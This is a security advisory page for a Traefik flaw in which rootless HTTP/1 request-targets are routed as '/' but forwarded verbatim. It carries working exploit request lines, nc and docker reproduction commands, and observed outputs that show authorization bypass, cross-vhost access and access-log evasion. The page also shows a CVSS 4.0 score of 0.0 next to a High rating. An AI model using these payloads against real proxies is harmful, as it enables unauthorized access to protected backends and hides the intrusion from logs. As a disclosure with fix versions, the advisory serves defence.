Skip to content

GHSA-f52w-8j3h-j724 CVE-2026-88009 GO-2026-6465

Traefik: Rootless HTTP/1 request-target routes as "/" but is forwarded verbatim, bypassing path-scoped routing, middleware guards and access logging

High Go
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.44%
Chance of exploitation in the next 30 days. Higher than 38.58% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1286 Improper Validation of Syntactic Correctness of Input
CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Fix
Available
2 packages have a fixed version

Description

Summary

Traefik accepts an HTTP/1.x request whose request-target is in rootless / opaque form (for example GET http:http://internal-vhost/admin HTTP/1.1). Go parses this into URL.Opaque with an empty URL.Path, so Traefik evaluates all routing, path-sanitization, middleware and access-log decisions against a path that normalizes to /, while the proxy forwards the attacker's original target byte-for-byte to the backend. Router path/prefix guards, forwardAuth path-scoped policies and the encodedCharacters hardening never see the real target, and the access log records every such request as GET / HTTP/1.1. Against a backend that resolves a rootless target as a path, this yields cross-vhost routing bypass, path-scoped authorization bypass and access-log evasion — unauthenticated, with stock entrypoint defaults.

Traefik v3.0 through v3.6 are end-of-life and are also affected; they will not receive a fix on their own line. Users on those versions must upgrade to v3.7.13.

Patches

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

The scanner claims rewriteRequestBuilder (pkg/proxy/httputil/proxy.go:97) rebuilds the outbound target from URL.Path / RawPath / RawQuery but never clears URL.Opaque, so a client sending a rootless request-target (GET http:http://internal-vhost/admin HTTP/1.1) has that byte string written verbatim into the backend request line while Traefik routes, sanitizes, guards and logs an empty path.

The claim is correct in every load-bearing detail, and it reproduces end to end on the GA image traefik:v3.7 (v3.7.9, go1.26.5) with stock entrypoint defaults. Three separate consequences were observed on the wire, not inferred:

  1. Cross-vhost routing bypass. Traefik matched Host(app.example.com), nginx served the internal-vhost server block.
  2. Path-scoped authorization bypass. A forwardAuth guard that denies ^/admin returned DENY for /admin and ALLOW for the opaque form of the same request, which then reached /admin on the backend.
  3. Access-log evasion. All three requests, benign and malicious, were logged identically as "GET / HTTP/1.1".

Plus a fourth that is decisive against the usual closure argument: the documented opt-in hardening encodedCharacters.allowEncodedSlash=false rejects the canonical /admin%2f..%2fsecret with 400, and does not fire at all on the opaque form carrying the identical payload.

This is not the "the operator left an opt-in permissive" shape that lesson L-012 and guideline G-03 teach us to decline. The hardening is enabled and is structurally bypassed.

Affected code

  • pkg/proxy/httputil/proxy.go:97 (rewriteRequestBuilder)
  • pkg/muxer/http/mux.go:139 (withRoutingPath)

Code analysis

The sink

pkg/proxy/httputil/proxy.go:87-105 sets Scheme, Host, Path, RawPath, RawQuery on pr.Out.URL and clears pr.Out.RequestURI. It never touches pr.Out.URL.Opaque, which httputil.ReverseProxy carried over from the inbound request clone:

pr.Out.URL.Scheme = target.Scheme
pr.Out.URL.Host = target.Host
...
pr.Out.URL.Path = u.Path
pr.Out.URL.RawPath = u.RawPath
...
pr.Out.RequestURI = "" // Outgoing request should not have RequestURI

net/http's Request.write then does ruri := r.URL.RequestURI(), and url.URL.RequestURI() returns Opaque in preference to the escaped path whenever Opaque != "". So the wire target is the attacker's string, and every field the proxy carefully set is ignored.

How Opaque gets populated

net/http's readRequest ($GOROOT/src/net/http/request.go:1104-1127) applies no origin-form check: it calls url.ParseRequestURI(rawurl) directly, and the only special case is CONNECT. url.parse returns early with Opaque = rest whenever a scheme is present and the remainder does not start with /, even for viaRequest = true. So http:http://internal-vhost/admin parses to {Scheme: "http", Opaque: "http://internal-vhost/admin", Path: "", Host: ""}.

Note that this string is a syntactically valid absolute-URI per RFC 3986 (path-rootless, and : is a legal pchar), so it is a legal absolute-form request-target per RFC 9112 §3.2.2 that Traefik is required to accept. The defect is not accepting it, it is rewriting it into a different URI when forwarding: Traefik receives a URI with no authority and emits one whose authority is internal-vhost, because RequestURI() only re-prefixes the scheme when Opaque begins with //.

Why the entry-point pipeline does not catch it

  • denyFragment inspects req.URL.RawPath → empty → passes.
  • normalizePath returns early when RawPath == "" → passes.
  • sanitizePath (pkg/server/server_entrypoint_tcp.go:849) does r2.URL = r2.URL.JoinPath(). JoinPath does url := *u, which copies Opaque, and setPath("/"). It then does r2.RequestURI = r2.URL.RequestURI(), which returns the Opaque string. Net effect: URL.Path becomes "/", Opaque survives untouched, and RequestURI is rewritten to the attacker's authority-bearing form.
  • The muxer matches on URL.Path == "/", so any Host(...)-only or PathPrefix(/) router matches. Host matching uses req.Host, which is the Host: header because URL.Host is empty for the opaque form.
  • encodedcharacters (pkg/middlewares/encodedcharacters/encoded_characters.go:41) scans req.URL.EscapedPath(), which is "/". The denylist can never fire.
  • accesslog (pkg/middlewares/accesslog/logger.go:244-253) rebuilds urlCopy := &url.URL{Path, RawPath, RawQuery, ForceQuery, Fragment} and drops Opaque, so RequestPath is logged as /.
  • forwardauth (pkg/middlewares/auth/forward.go:473,499) sets X-Forwarded-Uri from req.URL.RequestURI(), so the auth server receives the string http://internal-vhost/admin, which matches neither the router's view (/) nor any normal path-prefix rule. It fails open against a prefix-based policy.

Scope

The experimental fast proxy has the identical defect: pkg/proxy/fast/proxy.go does u2 := *req.URL (copying Opaque) and outReq.SetRequestURI(u2.RequestURI()) at line 216. The scanner's location call is accurate for both.

Note this pattern is inherited from net/http/httputil.ReverseProxy, whose own NewSingleHostReverseProxy director also leaves Opaque set. Traefik is nevertheless the correct place to fix: it is the component that decides routing and enforces the guards that desync.

Reproduction (J04, F4)

Two independent reproductions were run. All artifacts were removed afterwards (the Go probe file was deleted, all containers and the Docker network were removed; the Traefik working tree is unchanged apart from other jobs' probe files, which were left alone).

A. In-tree Go test (pkg/server, deleted after the run)

Entry-point chain assembled in newHTTPServer order (denyFragment → normalizePath → sanitizePath → requestdecorator → real httpmuxer with Host(app.example.com) → real httputil.ProxyBuilder), fronted by a real net/http server, driven over a raw TCP socket.

Command:

go test -run TestScanPocJ04Opaque -v ./pkg/server/

Observed:

=== RUN   TestScanPocJ04Opaque/control_origin_form
    status="200 OK" reachedBackend=true backend.RequestURI="/hello" backend.Host="app.example.com"
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin%2f..%2fsecret" RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin%2f..%2fsecret" Host="internal-vhost" Path="/admin/../secret" RawPath="/admin%2f..%2fsecret")
=== RUN   TestScanPocJ04Opaque/rootless_opaque_form_simple
    status="200 OK" reachedBackend=true
    routed(URL.Path="/" RawPath="" Opaque="http://internal-vhost/admin" RequestURI="http://internal-vhost/admin" Host="app.example.com")
    backend(RequestURI="http://internal-vhost/admin" Host="internal-vhost" Path="/admin" RawPath="")
=== RUN   TestScanPocJ04Opaque/absolute_form
    status="404 Not Found" reachedBackend=false
--- PASS: TestScanPocJ04Opaque (2.01s)

Conclusion: REPRODUCED. Traefik routes on Path="/" and Host="app.example.com"; the backend receives Host="internal-vhost" and Path="/admin". The %2f bytes survive to the backend's RawPath untouched. The absolute_form control (GET http://internal-vhost/admin) correctly 404s, because there URL.Host is populated so req.Host becomes internal-vhost and the router does not match: it is specifically the rootless form, where the authority is invisible to Go's Request.Host derivation but visible to the wire writer, that desyncs.

B. End-to-end on the GA image (traefik:v3.7 = v3.7.9, go1.26.5) with a real nginx backend

Topology: nginx with a default_server returning PUBLIC-VHOST and a server_name internal-vhost block returning INTERNAL-VHOST-SECRET; Traefik with a single Host(app.example.com) router, entry-point defaults, --accesslog=true. Requests sent over a raw socket with Host: app.example.com.

B1. Cross-vhost + log evasion (stock defaults):

=== request-target sent: '/'
PUBLIC-VHOST uri=/ host=app.example.com

=== request-target sent: 'http:http://internal-vhost/admin'
INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost

Traefik access log for those same three requests:

"GET / HTTP/1.1" 200 40 ... "app@file" "http://poc-nginx:80" 3ms
"GET / HTTP/1.1" 200 53 ... "app@file" "http://poc-nginx:80" 0ms
"GET / HTTP/1.1" 200 67 ... "app@file" "http://poc-nginx:80" 0ms

B2. Differential against the documented hardening (--entrypoints.web.http.encodedCharacters.allowEncodedSlash=false, sanitizePath=true):

=== request-target sent: '/admin%2f..%2fsecret'
HTTP/1.1 400 Bad Request                       <- canonical path: protection fires

=== request-target sent: 'http:http://internal-vhost/admin%2f..%2fsecret'
HTTP/1.1 200 OK
INTERNAL-VHOST-SECRET uri=/admin%2f..%2fsecret host=internal-vhost   <- same payload, protection never fires

B3. ForwardAuth authorization bypass (middleware forwardAuth to an nginx auth service that returns 403 when X-Forwarded-Uri matches ^/admin):

=== request-target sent: '/admin'                          -> 403 DENY
=== request-target sent: 'http:/admin'                     -> 403 DENY
=== request-target sent: 'http:http://internal-vhost/admin'-> 200 INTERNAL-VHOST-SECRET uri=/admin host=internal-vhost

Auth-service log confirms the decision flip: 403, 403, 200.

Conclusion: REPRODUCED on a GA release artifact. The primitive is unauthenticated, needs no non-default configuration, and yields cross-vhost selection, path-scoped authorization bypass, and complete access-log evasion simultaneously.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

(truncated ; full analysis in the linked internal report)

Reproduction (J18, F20)

Three Go probes were written into pkg/server/ of the checkout (named zz_scanpoc_J18*_test.go) and deleted afterwards; git status confirms no zz_scanpoc_J18 file remains and the checkout is still on v3.7 @ d5072ce7b8765c9574246072e05dd81d84950da7. Docker containers were removed at the end of the run.

Probe 1 — routing desync and verbatim forward. Real entry point chain (denyFragment -> normalizePath -> sanitizePath -> requestdecorator -> httpmuxer.Muxer), two routers on the same service, real pkg/proxy/httputil proxy, raw TCP backend recording the request line, driven over a raw socket.

cd /Users/emile/go/src/github.com/traefik/traefik
go test -run TestJ18RootlessRequestTarget ./pkg/server/ -v
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin/secret_HTTP/1.1
    --> raw request line: "GET http:admin/secret HTTP/1.1"
    in-Traefik state: URL.Opaque="admin/secret" URL.Path="/" URL.RawPath="" RequestURI="admin/secret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- response: "HTTP/1.1 200 OK\r"
    <-- backend request lines seen so far: ["GET admin/secret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_http:admin%2Fsecret_HTTP/1.1
    in-Traefik state: URL.Opaque="admin%2Fsecret" URL.Path="/" URL.RawPath="" RequestURI="admin%2Fsecret" EscapedPath="/"
    <-- routers matched: [router-app(NO AUTH)]
    <-- backend request lines seen so far: [... "GET admin%2Fsecret HTTP/1.1\r\n"]
=== RUN   TestJ18RootlessRequestTarget/GET_/admin/secret_HTTP/1.1      (control)
    <-- routers matched: [router-admin(AUTH)]
    <-- response: "HTTP/1.1 401 Unauthorized\r"
PASS

The control shows the deployment is correctly guarded for a well-formed request; the rootless form reaches the unguarded router and the backend receives the attacker's bytes, including the %2F that an encodedCharacters filter would have rejected.

Probe 2 — origin tolerance. Which origins actually resolve a rootless request-target.

go test -run TestJ18BackendTolerance ./pkg/server/ -v     # Go net/http + fasthttp v1.69.0
docker run -d --rm -p 18118:80 nginx:alpine ; docker run -d --rm -p 18119:80 httpd:alpine
docker run -d --rm -p 18120:3000 node:alpine node -e "require('http').createServer(...)"
docker run -d --rm -p 18121:8000 python:alpine python -m http.server 8000
docker run -d --rm -p 18122:8080 tomcat:9.0.120
printf 'GET admin/secret HTTP/1.1\r\nHost: app.example.com\r\nConnection: close\r\n\r\n' | nc -w 3 127.0.0.1 <port>
Origin GET admin/secret HTTP/1.1 GET /admin/secret HTTP/1.1 (control)
Go net/http HTTP/1.1 400 Bad Request 200, Path="/admin/secret"
nginx:alpine HTTP/1.1 400 Bad Request 404 (resolved)
httpd:alpine HTTP/1.1 400 Bad Request 404 (resolved)
Node.js (llhttp) HTTP/1.1 400 Bad Request HTTP/1.1 200 OK
Tomcat 9.0.120 HTTP/1.1 400 404 (resolved)
Python http.server accepted (404, no 400) 404
fasthttp v1.69.0 200 OK, Path="/admin/secret" 200, Path="/admin/secret"

fasthttp also decodes the encoded form: GET admin%2Fsecret HTTP/1.1 yields Path="/admin/secret", RequestURI="admin%2Fsecret".

Probe 3 — end-to-end authentication bypass. Same chain as probe 1, with a real basicAuth-style gate on the /admin router and a fasthttp origin serving ADMIN_PANEL_SECRET at /admin/secret.

go test -run TestJ18EndToEndFasthttpOrigin ./pkg/server/ -v
"GET /admin/secret HTTP/1.1"       => 401 basicAuth required
"GET http:admin/secret HTTP/1.1"   => Server: fasthttp ... ADMIN_PANEL_SECRET
"GET http:admin%2Fsecret HTTP/1.1" => Server: fasthttp ... ADMIN_PANEL_SECRET

The bypass is real: the credentialed path returns 401, the malformed path returns the protected content with no credentials.

Second affected site (J18)

The finding is mechanically correct and fully reproduced end to end, including the auth bypass.

A client-controlled HTTP/1.x request-target of the form scheme:rootless/path (for example GET http:admin/secret HTTP/1.1) is parsed by Go's url.ParseRequestURI into URL.Opaque = "admin/secret" with an empty URL.Path / URL.RawPath. Traefik's entry point chain and muxer never look at URL.Opaque:

  • denyFragment inspects URL.RawPath (empty) and passes.
  • normalizePath returns early on empty RawPath.
  • sanitizePath calls URL.JoinPath(), which rewrites Path to "/" and leaves Opaque untouched, then sets RequestURI = URL.RequestURI() = "admin/secret".
  • withRoutingPath (pkg/muxer/http/mux.go:139) derives the routing path from req.URL.EscapedPath(), which ignores Opaque, so every Path / PathPrefix / PathRegexp matcher evaluates against "/".
  • Both proxies copy the URL wholesale and never clear Opaque, so the outgoing request line is the attacker's target verbatim.

Result: Traefik makes its routing and middleware decision on one string ("/") and writes a different string to the backend (admin/secret). Where a host-only or PathPrefix("/") router reaches the same service as a path-guarded router, the guarded router is skipped, and a lenient origin resolves the rootless target as an absolute path.

Where the scanner overstates: it presents the exploit scenario as if the lenient-origin precondition were incidental. It is the whole exposure. Of the seven origin implementations tested, five reject the rootless target with 400 (Go net/http, nginx, Apache httpd, Node.js/llhttp, Tomcat 9). Only fasthttp (and the Fiber family built on it) and Python's http.server accept it. Notably Tomcat, the backend family that carried the closest prior report (GHSA-vrvv-46fp-28pp), answers 400 here.

Documentation grounding

Governing page: docs/content/security/request-path.md (published as https://doc.traefik.io/traefik/security/request-path/). Not WAI.

The page documents the entry-point path pipeline as three stages (encoded-character filtering, path normalization, path sanitization) and presents sanitizePath: true as a default-on hardening the team ships, with encodedCharacters.allowEncodedSlash: false as the opt-in tightening for backends that decode reserved characters. Nothing on this page, nor on header-underscores.md, content-length.md, http2-header-memory.md or multi-tenant-kubernetes.md, documents the request-target form, absolute-form / rootless targets, URL.Opaque, or an authority carried in the target. Grep for absolute, request-target, request line, Opaque, authority across docs/content/security/ returns nothing.

This lands squarely in Step 2e's second bucket, not the first: a behaviour documented as a default-on protection, with a sibling code path that structurally escapes it. Evidence B2 is the discriminator, and it is exactly the GHSA-cxjq shape (undocumented gap defeating a shipped guard) rather than the GHSA-x9c2 shape (documented behaviour with an opt-in the operator declined to enable). Here the operator did enable the opt-in and it still failed.

Precedent in comparable projects

Searched data/competitors/*.json on absolute.form|absolute-form|absolute URI|request.target|request line|authority.form, then on smuggl|desync|normaliz.

Product ID Severity Framing Fix shape
Caddy CVE-2026-27587 HIGH MatchPath's %xx (escaped-path) branch skips case normalization, so the matcher's view of the path diverges from the served one, enabling path-based route/auth bypass. Normalize in the divergent branch so matcher and handler agree on one interpretation.
Caddy CVE-2026-27588 HIGH MatchHost becomes case-sensitive above 100 hosts, so host matching diverges from the request's real host, enabling host-based route/auth bypass. Same fix shape: make the fast path agree with the canonical path.
Envoy CVE-2021-32779 high #fragment treated as part of the path element causes the authorization filter and the router to disagree, bypassing authz policy. Reject or strip the divergent element before routing.
Envoy CVE-2021-29492 high Escaped-slash characters let requests bypass path matching rules. Configurable normalization of %2F before matching.
Envoy CVE-2019-9901 CRITICAL Missing HTTP URL path normalization lets the proxy's routing view diverge f…

Affected versions

Go

PackageVulnerableFixed in
github.com/traefik/traefik
all versions
No fix yet
github.com/traefik/traefik/v2
< 2.11.57
2.11.57
github.com/traefik/traefik/v3
>= 3.0.0, < 3.7.13
3.7.13

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/traefik/traefik/v2 Go → 2.11.57

go
go get github.com/traefik/traefik/v2@v2.11.57 && go mod tidy

github.com/traefik/traefik/v3 Go → 3.7.13

go
go get github.com/traefik/traefik/v3@v3.7.13 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
Low
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 8.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

Weakness

CWE-1286: Improper Validation of Syntactic Correctness of Input

The product receives input that is expected to be well-formed - i.e., to comply with a certain syntax - but it does not validate or incorrectly validates that the input complies with the syntax.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

How to prevent it
  • Implementation: Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].
  • Implementation: Use only SSL communication.
  • Implementation: Terminate the client session after each request.
  • System Configuration: Turn all pages to non-cacheable.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GO-2026-6558
Traefik: BasicAuth singleflight coalescing reintroduces an unauthenticated username-enumeration timing oracle
Medium Also affects github.com/traefik/traefik
GHSA-w4v4-9rw7-5326
Traefik: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') and Incorrect Authorization
Critical Also affects github.com/traefik/traefik
GHSA-qqjf-53cj-pwvv
Traefik HTTP/3 Backend NTLM Connection Reuse
Critical Also affects github.com/traefik/traefik
GO-2026-6467
Traefik entrypoint header-name sanitization bypassed via request trailers
High Also affects github.com/traefik/traefik
GHSA-rf44-j88r-hh8c
Traefik: ForwardAuth identity spoofing via dot-form header alias
High Also affects github.com/traefik/traefik
GHSA-7ghq-v6jf-g56c
Traefik: respondingTimeouts.readTimeout is not applied to HTTP/3, leaving slow-body uploads unbounded
Medium Also affects github.com/traefik/traefik
GHSA-62fc-8686-hfmq
Traefik: `allowCrossNamespace=false` bypass via `@kubernetescrd` TraefikService backendRef
Medium Also affects github.com/traefik/traefik
GO-2026-6209
Traefik: Gateway API route identity collision allows cross-namespace backend hijacking
High Also affects github.com/traefik/traefik
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor